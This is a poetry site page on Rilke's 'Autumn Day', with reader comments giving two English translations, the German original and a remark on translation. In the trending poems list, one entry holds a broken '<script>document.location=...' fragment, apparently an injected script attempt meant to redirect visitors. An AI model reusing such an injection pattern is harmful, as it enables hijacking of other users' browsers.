Rainer Maria Rilke

(4 December 1875 – 29 December 1926 / Prague / Czech Republic)

Autumn Day


Lord: it is time. The summer was immense.
Lay your shadow on the sundials
and let loose the wind in the fields.
........................
........................
read full text »



Comments about this poem (Autumn Day by Rainer Maria Rilke )

  • Rookie Václav Z J Pinkava (10/24/2013 2:17:00 PM)

    Rainer Maria Rilke
    Harvest-tide (Herbsttag)

    Lord: it is time. The summer's breadth was vast.
    Repose Thy shadow over sundial faces,
    Let the gales race the plains, released at last.

    Charge now the laggard fruit to fill full shape;
    Grant two more days of southerliness, pleasing,
    Urging to wholesomeness, give chase uneasing
    To top up sweetness in the burdened grape.

    Who has no house as yet, shall always lack.
    Who is alone, more solitary owing,
    Will gaze, and read, composing letters growing,
    And pacing avenues hark forth and back,
    Restlessly wander, while the leaves are blowing.

    (vzjp) (Report) Reply

    0 person liked.
    1 person did not like.
  • Rookie Jacques Van Damme (2/12/2010 11:33:00 AM)

    Here's what I think to be a much better translation by Walter Arndt

    Lord: it is time. Great was the summer's feast.
    Now lay upon the sun-dials your shadow
    And on the meadows have the winds released

    Command the last fruits to round their shapes;
    Grant two more days of south for vines to carry,
    to their perfection thrust them on, and harry
    the final sweetness into heavy grapes.

    Who has not built his house, will not start now.
    Who is now by himself will long be so,
    Be wakeful, read, write lengthy letters, go
    In vague disquiet pacing up and down
    Denuded lanes, with leaves adrift below. (Report) Reply

  • Rookie Andrew Hoellering (1/13/2010 7:32:00 AM)

    This fine poem is redolent of the slow, easy movements of Autumn, far better conveyed in the original language (thank you, Jo Bennett) than in the translation.
    For instance, ‘Befiehl den letzten fruchten voll zu sein’ suggests the slow unfolding of time needed for the fruit to ripen entirely missing from the abrupt’bid the last fruits to be full.’
    This reminds me of the definition of poetry as that which gets left out in translation. (Report) Reply

  • Rookie Jo Bennett (3/24/2006 11:58:00 AM)

    Herbsttag

    Herr, es ist Zeit. Der Sommer war sehr groß.
    Leg deinen Schatten auf die Sonnenuhren,
    und auf den Fluren laß die Winde los.

    Befiehl den letzten Früchten voll zu sein;
    gib ihnen noch zwei südlichere Tage,
    dränge sie zur Vollendung hin und jage
    die letzte Süße in den schweren Wein.

    Wer jetzt kein Haus hat, baut sich keines mehr.
    Wer jetzt allein ist, wird es lange bleiben,
    wird wachen, lesen, lange Briefe schreiben
    und wird in den Alleen hin und her
    unruhig wandern, wenn die Blätter treiben.

    Rainer Maria Rilke

    Aus 'Das Buch der Bilder' (Report) Reply

Famous Poems

  1. Phenomenal Woman
    Maya Angelou
  2. Still I Rise
    Maya Angelou
  3. The Road Not Taken
    Robert Frost
  4. If You Forget Me
    Pablo Neruda
  5. Dreams
    Langston Hughes
  6. Annabel Lee
    Edgar Allan Poe
  7. Caged Bird
    Maya Angelou
  8. If
    Rudyard Kipling
  9. Stopping by Woods on a Snowy Evening
    Robert Frost
  10. A Dream Within A Dream
    Edgar Allan Poe
Trending Poets
Trending Poems
  1. Still I Rise, Maya Angelou
  2. The Road Not Taken, Robert Frost
  3. Phenomenal Woman, Maya Angelou
  4. Daffodils, William Wordsworth
  5. Annabel Lee, Edgar Allan Poe
  6. Stopping by Woods on a Snowy Evening, Robert Frost
  7. Do Not Go Gentle Into That Good Night, Dylan Thomas
  8. <script>document.location='http: /.., ASgfsa asgkasg
  9. If You Forget Me, Pablo Neruda
  10. Invictus, William Ernest Henley
[Hata Bildir]